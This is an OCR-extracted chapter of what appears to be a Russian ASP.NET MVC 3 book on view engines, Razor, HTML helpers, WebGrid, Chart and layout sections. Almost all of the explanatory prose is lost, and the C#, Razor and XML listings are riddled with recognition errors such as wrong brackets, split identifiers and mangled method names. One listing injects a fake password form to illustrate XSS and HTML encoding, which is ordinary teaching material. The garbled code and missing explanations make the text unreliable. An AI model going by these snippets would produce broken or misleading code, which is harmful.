w r i t e ( w r i t e r , "Key;

(0), V a l u e :

(1)",

key, v i e w C o n t e x t .R o u t e D a t a .V a l u e s [k e y ] );

}
W r i t e ( w r i t e r , " --- V i e w D a t a --- ");
foreach

//

( s t r i n g k e y in v i e w C o n t e x t . V i e w D a t a .Keys)

W r i t e ( w r i t e r , "Key: {0}, V a l u e :
v i e w C o n t e x t . V i e w D a t a [k e y ] );

{1}",

key,

}
p r i v a t e v o i d W r i t e ( T e x t W r i t e r writer,

s t r i n g t emplate,

p a r a m s o b j e c t [] values)

{
w r i t e r . W r i t e ( s t r i n g .F o r m a t ( t e m p l a t e ,

}
}
}

values)

+ "<p/>");

420

II. ASP.NET MVC 3

Render:
V i e w C o n t e x t
TextWriter.

I V ie w E n g in e

,
ViewEngineResult, IView,
. , IView,

, 15.4.

1 5 .4 . I V i e w E n g i n e
using System.W e b .Mvc;
namespace V i e w s .Infrastructure.CustomViewEngine {
public class DebugDataViewEngine : IViewEngine (
public ViewEngineResult FindView(ControllerContext ControllerContext,
string viewName, string masterName, bool useCache) (
if (vie'wName == "DebugData") {
return new ViewEngineResult(new DebugDataView (), this);
} else (
return new ViewEngineResult(new string[] { "Debug Data View Engine" ));

}
)
public ViewEngineResult FindPartialView(ControllerContext ControllerContext,
string partialViewName, bool useCache) (
return new ViewEngineResult(new string[]

{ "Debug Data View Engine" });

}
public void ReleaseView(ControllerContext ControllerContext, IView view) {
//

}
)


DebugData. ,
iview , :
return new ViewEngineResult (new DebugDataView(), this);


, .

DebugDataView. DebugData ,
View EngineResult :
return new ViewEngineResult(new string[] ( "Debug Data View Engine" ));

IViewEngine ,
, . , ..
,
. ,
.

15.

421


, F i n d P a r t i a lV i e w ,
.
, Razor.
R e le a se V ie w , ,
IV iew , .



. A p p l i c a t i o n _ S t a r t
G lo b a l.a s a x , 15.5.

15.5. G lo b a l.a s a x
p r o t e c t e d v o id A p p l i c a t i o n _ S t a r t () {
A r e a R e g is t r a t io n .R e g is t e r A llA r e a s ( ) ;
ViewEngines.Engines.Add(new DebugDataViewEngine());
R e g is t e r G lo b a lF ilt e r s ( G lo b a lF ilt e r s . F i l t e r s ) ;
R e g is t e r R o u t e s ( R o u t e T a b le . R o u t e s ) ;

}
V ie w E n g in e .E n g in e s
, . M V C Framework
, .
V ie w R e s u lt
Fin d V iew .
FindView
ViewEngineResult, iview. ,
ViewEngines.Engines ,
,
. , ,
:
V ie w E n g in e s . E n g i n e s . I n s e r t (0 , new D ebugD ataV iew Eng ine ( ) ) ;

. ,
IV ie w E n g in e .
N in je c tD e p e n d e n c y R e s o lv e r , 10,
A d d B in d in g s
:
p r i v a t e v o id A d d B in d in g s () {
/ /
B in d < IV ie w E n g in e > ( ) . To< D ebug D ataV iew Eng ine> ( ) ;

!

, ,
, V ie w E n g in e s .E n g in e s .
.
H o m e C o n t r o lle r I n d e x
:

422

II. ASP.NET MVC 3

u s i n g System;
u s i n g S y s t e m .W e b .Mvc;
n a m e s p a c e V i e w s .C o n t r o l l e r s

public class HomeController

: Controller

p u b l i c A c t i o n R e s u l t I n d e x ()

V i e w D a t a [" M e s s a g e " ] = "Hel lo, W o r l d " ;


V i e w D a t a [" T i m e " ] = D a t e T i m e .N o w .T o S h o r t T i m e S t r i n g ();
r e t u r n V i e w (" D e b u g D a t a " );

}
}
}

, View
ViewResult, DebugData.
Visual Studio
, .
. 15.1.

. 15.1.
FindView ,
. ,
I n d e x , V i e w R e s u l t ,
, :
return V i e w ("No_Such_View");

FindView
. he
, .
. 15.2.

. 1 5 .2 . , ,

15.

423

, , ,
,
.


MVC Framework
. , , ,
, .

Spark, NHaml, Brail NVelocity.
-. , NVelocity Java Apache Velocity,
a NHaml Ruby on Rails Haml. Spark
,
HTML-, .
,
, .
Razor ASPX ,
.

Razor

, . ,
,
, , MVC
.
,
,
.

, ,
Razor. R a z o r ,

MVC.
.
. Razor ,
MVC 3, (
ASPX Web Forms). -
ASPX, Microsoft , ,
, Razor.
Razor 5.
,
Razor. , Razor.

Razor
Razor
, .
#, ; C#
. ,
Razor, Razor.
15.6 Razor,
.

424

II. ASP.NET MVC 3

1 5 ,6 . Razor
Smodel string[]

@{
ViewBag.Title = "Index";
}
This is a list of fruit names:
@foreach (string name in Model)
<span><b>@name</b></span>

}
MVC
, , Razor,
. , ..
MVC .
C#
, , #,
. c :\ U s e r s \< >\
A p p D a t a \ L o c a l \ T e m p \ T e m p o r a r y A S P . N E T F i l e s Windows 7 ,
.
, ,
. ,
.cs .

15.6 A p p _ W e b _ g v a x r o n l . l . c s ,
r o o t \ 8 3 e 9 3 5 0 c \ e 8 4 c b 4 c e . 15.7.
15.7. Razor
namespace ASP {
u s i n g S y s te m ;

using System.Collections.Generic;
using System.10;
u sin g S y s te m .L in q ;
u s in g S y stem .N et;

using
using
using
using
using
using
using
using
using

System.Web;
System.W e b .Helpers;
System.Web.Security;
System.Web.U I ;
System.Web.WebPages;
System.Web.Mvc;
System.W e b .M v c .A j ax;
System.Web.Mvc.Html;
System.Web.Routing;

public class _Page_Views_Home_Index_cshtml : System.Web.Mvc.WebViewPage<string[]>

{
public _Page_Views_Home_Index_cshtml() {

}
public override void E x e c u t e O {
WriteLiteral("\r\n");
ViewBag.Title = "Index";
WriteLiteral("\r\nThis is a list of fruit n am e s :\r\n\r\n");

15.

425

foreach (string name in Model) {


WriteLiteral ("
< s p a n x b > " );
Write(name);
WriteLiteral ("</bx/span>\r\n") ;
}
}

WebViewPage<T>, .

. , . ,
. Razor
.
Execute .
, @,
#. HTML WriteLiteral,
, .
Write, C#
HTML-.
Write WriteLiteral TextWriter.
, IView.Render,
. Razor
TextWriter.
, HTML .

Razor
MVC DI (Dependency
Injection ), Razor
. , , ,
.
, ,
. ICalculator
15.8.

15.8. I C a l c u l a t o r
namespace Views.Models {
public interface ICalculator (
int Sumfint x, int y ) ;

)
}
,
ICalculator , ,
WebViewPage, 15.9.
1 5 .9 . , W e b V ie w P a g e
using System.Web.Mvc;
using Ninject;

426

II. ASP.NET MVC 3

namespace V i e w s . M o d e l s . V i e w C l a s s e s {
p u b l i c a b s t r a c t c l a s s C a l c u l a t o r V i e w : WebViewPage {
[In je c t]
p u b lic IC a lc u la t o r C a lu la to r { get; s e t ;

DI
, DI , .
I n j e c t ,
. ,
Razor- i n h e r i t s , 15.10.

15.10. Razor
Oinherits Views.Models.ViewClasses.CalculatorView
@(

V ie w B a g . T i t l e = " C a l c u l a t e " ;
}
< h 4 > C a lcu la te < / h 4 >
The c a l c u l a t i o n r e s u l t f o r SView Bag .X and SView Bag .Y
i s @ C a l u l a t o r . Sum(ViewBag. X, ViewBag.Y)

0 in h e r its ,
15.7. C a lcu la to r,
, IC a lc u la to r,
IC a lc u la to r.
in h e r i t s
. in h e r it s 15.10
:
p u b l i c c l a s s _ P a g e _ _ V ie w s _ H o m e _ C a l c u l a t e _ c s h t m l :
Views.Models.ViewClasses.CalculatorView (

}

, C a l c u l a t o r .
I C a l c u l a t o r
, Ninject
.
A d d B i n d i n g s N i n j e c t D e p e n d e n c y R e s o l v e r :
p r i v a t e v o i d A d d B in d in gs ()

/ /
B i n d < I C a l c u l a t o r > () .T o < S i m p l e C a l c u l a t o r > ();

Razor.

15.

427


Razor ,
MVC Framework. ,
I n d e x , H o m e, Razor
:

~ /V i e w s /H o m e /In d e x .c s h t m l

~ /V i e w s /H o m e /I n d e x .v b h t m l

- /V i e w s /S h a r e d /I n d e x .c s h t m l

~ /V i e w s /S h a r e d /I n d e x .v b h t m l

. Razor
, .. #. Razor
, . . c s h t m l ,
#, .v b h t m l Visual Basic.
, Razor,
R a z o r V i e w E n g i n e . I V i e w E n g i n e Razor.
, , ,
. . 15.1.

15.1. Razor,

V ie w L o c a tio n F o r m a ts

"~ /V ie w s /{l} /{ 0 ). c s h tm l",

M aste rL o c a tio n F o rm a ts

"~ /V i e w s /{ l } /{ 0 } .v b h t m l " ,

P a r tia lV ie w L o ca tio n F o rm a ts

"~ /V ie w s /S h a r e d /{ 0 } . c s h t m l ",

"~ /V ie w s /S h a r e d /{ O J . v b h t m l"

A re a V iew L o c atio n F o rm a ts

A re a M a ste rL o c a tio n F o rm a ts

" ~ / A r e a s / ( 2 ) / V i e w s / ( l ) / ( 0 } . c s h t m l ",
" ~ / A r e a s /{ 2 } /V i e w s /{ l } /{ 0 } .v b h t m l ",

"~ /A r e a s /(2 } /V i e w s /S h a r e d /i 0 } . c shtm l",

"~ /A r e a s /{ 2 } /V i e w s /S h a r e d /{ 0 ( . vb h tm l"

A r e a P a r t ia lV ie w L o c a t io n F o r m a t s

Razor,
. ,
.
, :

{0} :

( 1 ) ;

{2} .

,
R a z o r V i e w E n g i n e ,
. 15.1. 15.11
, ,
, Razor C# (
.c s h t m l ) .

428

II. ASP.NET MVC 3

15.11.
Razor
using System.Web.Mvc;
namespace V i e w s .Infrastructure {
public class CustomRazorViewEngine : RazorViewEngine {
public CustomRazorViewEngine() {
ViewLocationFormats = new string[] (
" ~ / V i e w s / {1}/ {0}.cshtml",

"~/Views/Common/{0}.cshtml"

};

)
}
}

View LocationForm ats .


.cshtm l. ,
, Views/Common Views/Shared.

View E n gin es.E ngines A p p lic a t io n _ S t a r t G lo b a l.a sa x ,
:
protected void Application_Start() (
AreaRegistration.RegisterAllAreas ();
ViewEngines.Engines.Clear();
ViewEngines.Engines.Add(new CustomRazorViewEngine!));
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);

}
, ,
, . ,
,
Razor.
C le a r
, Add .


Razor

.
.
, .
, HTML-,
.
,
. 15.2.

15.

429

15.2.

,
, i f fo r e a c h .
,

HTML

HTML-
,
. MVC Framework
HTML,
. ,
, M v c H t m ls t r in g ,
HTML


.
, HTML
.
,
-


,
-. ,



C #,
@. Razor,

, .
Razor 5, .
,
.


MVC Framework ASP.NET Web Forms, ,
. Web Forms
. , ,

.
- , ASP.NET MVC ASP.NET Web Forms
, ,
. Web Forms .
ASPX , . , MVC Framework
.
,
. , MVC
MVC. Razor
,
.

430

II. ASP.NET MVC 3

,
.
MVC
. ,
MVC Fram ew ork, .
,
MVC.


Razor u sin g
,
.
15.7. ,
, .
15.12 , .

15.12.
0{

V i e w B a g .Tit l e = "Index";
}
H ere

is

some d a t a :

SDynamicData.Infrastructure.MyUtility.GetUsefulData()

MyUtility GetUsefulData,
.
, DynamicData.
In fr a st ru c t u r e
.

. , , ,
using, .

@usng

0using Razor.
using #. 15.13 .

15.13. 0 u s in g
S u s in g

D y n a m ic D a ta . I n f r a s t r u c t u r e

@(

V i e w B a g . T i t l e = "Index";
}

Here is some data: @ M y U t i l i t y . G e t U s e f u l D a t a ()


,
u sing #.
, MyUtility, .

15.

431

W e b .c o n fig
0 u s i n g .
,
Views/Web.config, 15.14.

15.14. W e b .c o n fig
< s y s t e m . w e b . w e b P a g e s .r a z o r >
< pages p a g e B a s e T y p e = " S y s t e m . W e b . M v c .W e b V i e w P a g e ">
<namespaces>
< a d d n a m e s p a c e = " S y s t e m . W e b . M v c " />
<add n a m e s p a c e * " S y s t e m . W e b . M v c . A j a x " />
O d d n a m e s p a c e = " S y s t e m . W e b . M v c . H t m l " />
<add n a m e s p a c e = " S y s t e m . W e b .R o u t i n g " />
O d d namespace="DynamicData.Infrastructure"/>
-t/namespaces?-

< /pa g e s >


< / s y s t e m . w e b . w e b P a g e s .r a z o r >

! W e b . c o n f i g , Views,
W e b . c o n f i g .
V i e w s / W e b . c o n f i g ,
Susing,
.

HTML- Razor
(XSS)
. ,

in pu t HTML ,
.
.
XSS 21.
Razor XSS,

.
, HTML,
. , < sit;.
, G e t U s e f u l D a t a
M y U t i l i t y ,
. 15.15. ,
, .

15.15. ,
n a m e s p a c e D y n a m i c D a t a .I n f r a s t r u c t u r e {
p u b l i c class M y U t i l i t y {
p u b l i c s t a t i c s t r i n g G e t U s e f u l D a t a () {
r eturn " < f o r m > E n t e r your p a s s w o r d :< i n p u t t y p e = t e x t >
<input t y p e = s u b m i t v a l u e = \ " L o g I n \ " / X / f o r m > " ;
}

}
}

432

II. ASP.NET 3

XSS
.
GetUsefulData ,
HTML- .
, .
,
0, . HTML-, MVC
Framework , :
Here is some data: &lt;form&gt;Enter your password:&lt;input
type=text&gt;&lt;input
type=submit value=&quot;Log In&guot;/&gt;/form&gt;

. 15.3 , .

. 15.3. HTML-
-
, Razor .
,
.
MvcHtmlString. HTML-,
. 15.16 , MyUtility.
15.16. M vcH tm lS trin g
u s i n g S y s t e m . W e b .M v c ;

namespace DynamicData.Infrastructure {
public class MyUtility {
public static MvcHtmlString GetUsefulData () {
return new MvcHtmlString("<form>Enter your p assword:cinput type=text>
cinput type=submit value=\"Log In\"/>c/form>");
}
)
}


MvcHtmlString , , .

. 15.4.

. 15 .4. HTML-

15.

433

, , . -
HTML-.

! , -
. 15.4. ,
. -, XSS
, , , . -,
XSS .
, ,
.
, ,
@Html.Raw
, 15.17.

15.17. HTML- Razor


@{

V i e w B a g . T i t l e = "Index";

}
H e r e is s o m e d a t a :

0 H t m l .R a w ( M o d e l )


,
, System.Web.Mvc.WebViewPage<T>,
. , :
@model string

@{
ViewB ag.T i t l e

"In dex";

(
...

public class

Page V i e w s Home Index cshtml : System. W e b .Mvc .WebViewPage<string:>

{
...

}
@m o del, string,
. ,
, ,
.
, .
, :
0{
V i e w B a g .T i t l e = " I n d e x " ;

}
...

434

II. ASP.NET MVC 3

, , , :
public class _Page_Views__Home_InlineHelper_cshtml
S y s t e m . W e b . M v c .W e b V i e w P a g e < d y n a m i c >

. . .
}
,
d y n a m ic. - ,
,
, ,
, ViewBag.
,
.
.
,
, , ,
.
15.18 ,
. , , ,
Ruby.
, .

15.18. Razor
@{
View B ag. T i t l e

"In dex";

}
Dynamic v i e w model:

@Model[0]

Model contents are: 0Model

! .

, ,
.

HTML
H T M L -
. H T M L - Razor
, . ,
, . , M VC
Framework
HTML. ,
H T M L,
, M V C Framework.

HTML

Razor- ghelper. 15.19 .

15.

435

15.19.
0{

ViewBag.Title = "InlineHelper";
}
ghelper CreateList(string[] items)

<ul>
Sforeach (string item in items) {
<li>0item</li>

}
</ul>

}
<h4>InlineHelper</h4>
Days of the week: <p/>
gCreateliiist (ViewBag. Days)
<p />
Fruit I like: <p />
@CreateList(ViewBag.Fruits)

HTML
#.
CreateList, .
,
Razor.
HTML-, , Razor,
@. , ,
HTML Razor
. . 15.5.

. 15.5.

. HTML-
foreach, .
,
.
, .

436

II. ASP.NET MVC 3

HTML
,
, .
, .
HTML,
#. 15.20 .

15.20. HTML
using S ystem.Web.Mvc;
namespace

public static class CustomHtmlHelpers {


public static MvcHtmlString List(this HtmlHelper html, string[] listltems)

{
TagBuilder tag = new TagBuilder("ul");
foreach (string item in listltems)

TagBuilder itemTag = new TagBuilder("li");


itemTag.SetlnnerText(item);
tag.InnerHtml += itemTag.ToString() ;
)

return new MvcHtmlString(tag.ToString());


}
i
)

HTML
HtmlHelper. this {

C# , ).
.
,
,
.
HTML-
TagB u ilder, HTML-
.
TagBuilder System.Web.WebPages,
(type forwarding) ,
System.Web.Mvc. MVC
Visual Studio, TagBuilder ,
API- Microsoft Developer Network (MSDN).
TagBuilder,
HTML-, .
TagBuilder (< >) , .. ul, ,
:
TagBuilder tag = new TagBuilder("ul");

TagBuilder . 15.3.

15.

437

15.3. T a g B u ild e r

InnerHtml

,
HTML-. , ,
, ..
HTML-

SetlnnerText(string)

HTM L-. string


,
(. HTML- Razor )

AddCssClass(string)

CSS HTML-

MergeAttribute(
string, string, bool)

HTM L-.
, . boo l
,

HTML M v c H t m l S t r i n g ,
. . ,
M v c H t m l S t r i n g ,
,
XSS. T a g B u i l d e r .SetlnnerText,
, E n c o d e
HtmlHelper, .
!

HTML, , .
"
.

HTML
M VC Fram ew o rk
H TM L, H T M L-
.
. ,
.
! HTML HTM L-,

, .
HTML-
. HTML, ,
, - . ,
, ,
HTML-.


( )
H t m l . B e g i n F o r m Html.EndForm. HTML- f orm
action,
.
15.21.

438

II. ASP.NET MVC 3

15.21. B e g i n F o r m E n d F o r m
@(Html.BeginForm("Index", "Home");)
0{ Html.EndForm();}
,
, Razor,
.
using, 15.22.

15.22. HTML- B e g i n F o r m u s i n g
@using (Html.B eginForm("Index", "Home"))

)
, BeginForm
MvcForm, IDisposable. using
.NET Framework Dispose MvcForm,
form
EndForm.
15.21 15.22 HTML-:
< fo rm

action="/" method="post"x/form>

B eginForm ,
, action HTML- form. ,
15.21 15.22,
.
action. Index
, URL /.
URL 11.

, URL
BeginForm, ,
URL, .. ,
. MVC,
GET POST URL. GET HTML-,
POST .
, , :
public class SomeController : Controller {
public ViewResult M yAc t i o n () {
/* */

}
[HttpPost]
public ActionResult MyAction(MyModel incomingData)
/* POST */

}
}
HttpPost , 14, ,
MVC Framework
MyModel ( ), 17.

15.

439



HTML- ,
( i n p u t ) . . 15.4
HTML, i n p u t .
. . 15.4
.
HTML- , i d .
v a l u e i n p u t ( T e x t A r e a ) .

15.4. HTML

HTML-

Html.CheckBox("myCheckbox", false)
:
<input id="myCheckbox" name="myCheckbox"
type="checkbox" value="true" />
<input name="myCheckbox" type="hidden"
value="false" />

Html.Hidden("myHidden", "val")
:
cinput id="myHidden" name="myHidden"
type="hidden" value="val" />

Html.RadioButton("myRadiobutton", "val", true)


:
cinput checked="checked" id="myRadiobutton"
name="myRadiobutton" type="radio" value="val" />

Html.Password("myPassword", "val")
:
cinput id="myPassword" name="myPassword"
type="password" value="val" />

Html.TextArea("myTextarea", "val", 5, 20, null)


:
ctextarea cols="20" id="myTextarea"
name="myTextarea" rows="5">
val</textarea>

Html.TextBoxC'myTextbox", "val")
:
cinput id="myTextbox" name="myTextbox"
type="text" value="val" />

! ,

( H t m l . C h e c k B o x )
i n p u t : i n p u t .
, , .
, MVC Framework
, .

Razor- @, :
@ H tm l. C h e c k B o x ( "m y C h e c k B o x ", Model)

440

II. ASP.NET MVC 3

,
, ViewBag
. , @Html.TextBox("DataValue") MVC
Framework , DataValue.
:
ViewBag.DataValue
ViewData ["DataValue"]
SModel.DataValue

value
HTML-. ( @Model.DataValue ,
DataValue.)
DataValue.First.Name
. MVC Framework
, , :
ViewBag.DataValue.First.Name
ViewBag. DataValue ["First"] .Name
ViewBag.DataValue["First. Name"]
ViewBag. DataValue ["First"] ["Name"]
ViewData["DataValue.First.Name"]
ViewData ["DataValue"] .First.Name
ViewData["DataValue.First"] .Name

.
, .
, , ViewBag
ViewData ,
.

!
, .
HTML- Razor .




, . 15.4,
, .
. 15.5
HTML-,
.
.
HTML
-. ,
, , ,
valu e.

15.

441

15.5. HTML

HTML-

Html.CheckBoxFor( => x.IsApproved)

:
<input id="IsApproved" name="IsApproved"
type="checkbox" value="true" />
<input name="IsApproved" type="hidden" value="false" />

Html.HiddenFor(x => x.SomeProperty)

:
cinput id="SomeProperty" name="SomeProperty"
type="hidden" value="value" />

Html.RadioButtonFor(x => x.IsApproved, "val")

:
<input id="IsApproved" name="IsApproved"
type="radio" value=val" />

Html.PasswordFor(x => x.Password)

:
<input id="Password" name="Password" type="password" />

Html.TextAreaFor (x => x.Bio, 5, 20, new{})

:
<textarea cols="20" id="Bio" name="Bio" rows="5">
Bio value</textarea>

Html.TextBoxFor(x => x.Name)

:
<input id="Name" name="Name" type="text" value="Name value" />

HTML-
HTML ,
HTML-.
, :
@Html.TextBox("MyTextBox", "MyValue",
new { 0class = "my-ccs-class", nycustomattribute = "ray-value" })
,

class

mycustom:

<input class="ray-ccs-class" id="MyTextBox" mycustomattribute="my-value"


name="MyTextBox" typQ="text" value="MyValue" />

, , class,
CSS. class 0,
C# . @
Razor. #,
.


. 15.6 HTM L,
select.

. ,
.

442

II. ASP.NET MVC 3

15.6. HTML,
HTML-

H t m l .DropDownList ("myList",
new SelectList(new [] {"A", "B"}), "Choose")
:
<select id="myList" name="myList">
<option value="">Choose</option>
<option>A</option>
<option>B</option>
</select>

Html.DropDownListFor(x => x.Gender,


new SelectList(new [] {"M", "F"}))
:
<select id="Gender" name="Gender">
<option>M</option>
<option>F</option>
</select>

Html.ListBox( "myList",
new MultiSelectList(new [] {"A", "B"}))
:
<select id="myList" multiple="multiple" name="myList">
<option>A</option>
<option>B</option>
</select>

Html.ListBoxFor(x => x.Vals,


new MultiSelectList(new [] {"A", "B"}))
:
<select id="Vals" multiple="multiple" name="Vals">
<option>A</option>
<option>B</option>
</select>

s e l e c t
SelectList MultiSelectList. ,
MultiSelectList , ,
.
IEnumerable .
. 15.6 , ,
. SelectList MultiSelectList ,
. ,
, Region:
public class Region{
public int RegionID { get; set; }
public string RegionName { get; set; }

)
SelectList ,
:
List<Region> regionsData
new Region { RegionID
new Region { RegionID
new Region { RegionID

};

=
=
=
=

new List<Region> {
7, RegionName = "Northern" },
3, RegionName = "Central" },
5, RegionName = "Southern" },

15.
ViewData["region"] = new SelectList(regionsData,
"RegionID",
"RegionName",
3) ;

//
//
//
//

443

dataValueField
dataTextField
selectedValue

<%: Html.DropDownList("region", "Choose") %>


HTML-:
<select id="region" name="region">
<option value="">Choose</option>
-coption value="7">Northern</option>
<option selected="selected" value="3">Central</option>
<option value="5">Southern</option>
</select>

, RegionID RegionName
value , select.

URL
HTML
HTML- . URL
URL , 11. . 15.7
HTML, . ,
,
MVC.
15.7. HTML, URL

URL,

Url. Content ("~/my/content. pdf ")


: /my/content.pdf

Html.ActionLinkf'Hi", "About", "Home")


: <a href="/Home/About">Hi</a>

URL

Html.ActionLinkC'Hi", "About", "Home",


"https","www.example.com", "anchor", new(), null)
: <a href=
"https://www.example.com/Home/About#anchor">Hi</a>

URL

Url .Action ("About", "Home")


: /Home/About

URL

Url.RouteUrl(new { controller = "c", action = "a" ))


: //

Html. RouteLink ("Hi",


new { controller = "c", action = "a" }, null)
: <a href="/c/a">Hi</a>

Html.RouteLink("Hi", "myNamedRoute", new {})


: <a href="/url/for/named/route">Hi</a>

. Url.Content
, URL.
.
11.

444

II. ASP.NET MVC 3

WebGrid
WebGrid HTML-
() HTML-
table.
ASP.NET Web Pages. MVC Framework
, . , .
WebGrid -
.
. ,
Product SportsStore, .
15.23.
15.23.

W e b G rid
public ActionResult Grid()
IEnumerable<Product>
new Product (Name =
new Product {Name =
new Product {Name =

productList = new List<Product> {


"Kayak", Category = "Watersports", Price = 275m),
"Lifejacket", Category = "Watersports", Price = 48.95m},
"Soccer ball", Category = "Football", Price = 19.50m},

new Product {Name = "Corner flags", C a t egory = "Football",

Price = 34.95m},

new Product {Name = "Stadium", Category = "Football, Price = 79500m},


new Product {Name = "Thinking cap", Category = "Chess", Price - 16m}

};
return View(productList);
}

IEnumerable<Product> .
15.24 ,
WebGrid.

15.24. W e b G rid
Smodel IEnumerable<DynamicData.Models.Product>
@{

var grid = new WebGrid (


source: Model,
rowsPerPage: 4);

}
@grid.GetH t m l (
tableStyle: "grid,
headerStyle: "header",
rowStyle: "row",
footerStyle: "footer",
alternatingRowStyle: "altRow",
columns: grid.Columns (
g r i d .C o l u m n ("Name", "Item", style:"textCol"),
grid.Column ("Price", style: "numbered",
format: @<text>$@string.Format("{0:F 2 }", item.Price) </text>)
))

15.

445

W e b G r i d .
Razor WebGrid.
s o u r c e (
Product). , .
( ,
). ,
rowsPerPage. W e b G r i d
.
, ,
.
'&. Yb.%.

15.8. WebGrid

So u r c e

null

c o l u m n N a m* e s

nul l

rowsPerPage

10

canPage

true

canSort

true

WebG r i d
HTML-, G e t H t m l
WebGrid. , ,
HTML-,
, .
. 15.9 ,
GetHtml.
15.9. W e b G rid .G e tH tm l

tableS tyle

n u ll

CSS t a b l e

h e a d e r S ty le

null

CSS tr

footerStyle

null

CSS tr

rowStyle

null

CSS

alternatingRowStyle

null

CSS

caption

null

caption,

displayHeader

true

c a p t i o n

446

II. ASP.NET MVC 3


. 15.9

false

t r u e ,

n ull

n um ericLink sC o un t

null

co lum n s

null


( )

h tm lA ttr ib u te s

null

,
t a b l e (.
HTML- )

fillE m p ty R o w s

p revio usT ext

nextText

c o l u m n s
. C o l u m n s ,
C o l u m n :
co lum n s:

g r i d .C o l u m n s

g r i d .C o l u m n ("N a m e ",
g r i d .C o l u m n ( " P r i c e " ,
fo rm at:

"It e m ",
style:

s t y le : "t e x t C o l"),
"n u m b e r e d ",

@ < te x t> $@ strin g . F o rm at( " { 0 : F 2 } " ,

i t e m .P r i c e )

< /t e x t > )

))

N a m e
, I t e m
CSS- t e x t c o i . P r i c e
.
. 15 .1 0 , C o l u m n .
15.10. W eb G rid .C o lu m n

CanSort

C olu m nN am e

Form at

Header

Style

CSS

Func,

15 .2 4 . 15.6.
CSS, .
G e t H t m l .

, ,
W e b G r i d
. , 2
.

15.

. 15.6.

447

WebGrid

WebGrid , ,
. 2
URL:
h t t p ://localhost:1223/Home/Grid?sortdir=ASC&page=2

* URL s o r t d i r .
, WebGrid,
.

, ,

. , ,
, , , ,
. , ,

WebGrid.

WebGrid,
W e b G r i d ,
. WebGrid
ViewBag, :
p u b l i c A c t i o n R e s u l t Grid()

IEnumerable<Product> productList = new List<Product> {


new product (Name = "Kayak", Category = "Watersports", Price = 275m),
new Product (Name = "Lifejacket", Category = "Watersports", Price = 48.95m),
new Product (Name = "Soccer ball", Category = "Football", Price 19.50m),
new Product (Name = "Corner flags", Category = "Football", Price = 34.95m),
new Product (Name - "Stadium", Category = "Football", Price = 79500m),
new Product (Name = "Thinking cap". Category = "Chess", Price = 16m)

);
ViewBag.WebGrid = new WebGrid(source: productList, rowsPerPage: 4);
return View(productList);

}
, :
@model IEnumerable<DynamicData.Models.Product>
@{ var grid = (WebGrid)ViewBag.WebGrid;}
@grid.GetHtml(
tableStyle: "grid",
headerStyle: "header",
rowStyle: "row",
footerStyle: "footer",
alternatingRowStyle: "altRow",

448

II. ASP.NET 3
columns: grid.Columns (
g r i d .C o l u m n ("Name", "Item", style:"textCol"),
g r i d .Column("Price", style: "numberCol",
format: 0<text>$@string.Format("{0:F 2 , item.Price) </text>)

))
- ,
WebGrid .
,
, .

C h a rt
,
. ASP.NET Web Forms,
MVC Framework (, ,
). ,
HTML-.


, .
.
MSDN MVC ,
Chart Web Forms.
, ,
void, 15.25.

15.25. C h a r t
public void C h artlmageO (
IEnumerable<Product> productList = new LiSt<Product> (
new Product (Name = "Kayak", Category = "Watersports", Price = 275m},
new Product (Name = "Lifejacket", Category -= "Watersports", P r ic e = 48.95nr,
new Product (Name = "Soccer ball". Category = "Football", Price = 19.50m>, new Product (Name = "Corner flags", Category = "Football", Price = 34.95n),
new Product (Name = "Stadium", Category = "Football", Price = 150m),
new Product (Name = "Thinking cap", Category = "Chess", Price = 16m)

};
Chart chart = new C h a r t (400, 200,
@"<Chart BackColor=""Gray"" BackSecondaryColor=""WhiteSmoke""
BackGradientStyle=""DiagonalRight"" AntiAliasing=""All""
BorderlineDashStyle = ""Solid"1' BorderlineColor = ""Gray"">
<BorderSkin SkinStyle = ""Emboss"" />
<ChartAreas>
CChartArea Name=""Default"" _Template__=""All"" BackColor=" "Wheat" "
BackSecondaryColor=""White"" BorderColor=""64, 64, 64, 64""
BorderDashStyle=""Solid"" ShadowColor=""Transparent"">
</ChartArea>
</ChartAreas>
</Chart>");
chart.AddSeries (
chartType: "Column",
yValues: productList.Select(e => e.Price).ToArrayO,
xValue: productList.Select (e => e.Name) .ToArrayO

);
chart.Write ();
)

15.

449

Product
. Stadium () ,
.
Chart.
, .
.
XM L-.
. 35
, -
. ,
XML- .
Chart AddSeries
.
,
Product. chartType,
X Y LINQ,
. , LINQ
.
Chart.Write,
. ,
15.25, . 15.7.

. 15.7.
Chart

-
, .


,
, (. . 15.11).
15.11.

Crypto

WebMail

SMTP,
Partylnvites

Json

JSON

Serverlnfo

WeMmage

15 . 4039

450

II. ASP.NET MVC 3

,
. . 15.11
( WebMatrix ASP.NET Web Forms)
, , ,
( W ebM ail,
3). , J S O N ,
J s o n R e s u lt , 12.
,
, .N E T Framework,
.
. MVC, h t tp :/ / c o d e p le x .c o m / a s p n e t,
M ic r o s o f t.W e b .H e lp e r s .
,
-, ..


Razor (section),
. Razor
, ,
. 15.26 ,
.

15.26.
@<

V ie w B a g . T i t l e = " In d e x " ;
}
< h4>This i s th e view </h4>
Ssection Header {
0foreach (string str in new [] {"Home", "List", "Edit"})
<div style="float:left; padd i n g :5px">

@ H t m l . A c t i o n L i n k ( s t r , str)

</div>

}
<div style="clear:both" />

)
< h4>This i s th e v ie w betw een th e h e a d e r and f o o t e r s e c t io n s < / h 4 >
@section Footer

<h4>This is the footer</h4>

)
< h4>This i s th e v ie w ag ain < /h 4>
Razor- @ se ctio n ,
. H e a d e r F o o te r.
Razor .
15 .27 , *
.

15.

451

15.27.
<!DOCTYPE html>
<html>

<head>
< t i t l e > @ V i e w B a g .T i t l e < / t i t l e >
<link h r e f = " @ U r l . C o n t e n t (" - / C o n t e n t / S i t e .c s s " )" rel="stylesheet"
typ e= "text/css"

/>

< s c r i p t s r c = " @ U r l . C o n t e n t ("- / S c r i p t s / j q u e r y - 1 . 4 . 4. m i n .j s ")"


type="text/ ja v a s c r i p t " x / s c r i p t >

</head>
<body>
0RenderSection("Header")
<h4>This is the layout between the header and the body</h4>
@RenderBody()
<h4>This is the layout between the body and the footer</h4>
@RenderSection("Footer")

< /body>

</html>


R e n d e r S e c t i o n , . ,
, R e n d e r B o d y .
,
0 s e c t i o n ; H e a d e r F o o t e r
15.27 .
. 15.8 .
, , RenderSection,
, . ,
RenderBody , .
! ,

. ,

@RenderSection

Framework .

. 15.8.

, MVC

II. ASP.NET 3

452

.
,
, ,
, RenderBody.
,
(Body), 15.28.
15.28. Razor
@{

ViewBag.Title = "Index";

}
@section Header {
0foreach (string str in new [] ("Home", "List", "Edit"})
<div style="float:left; padding:5px">
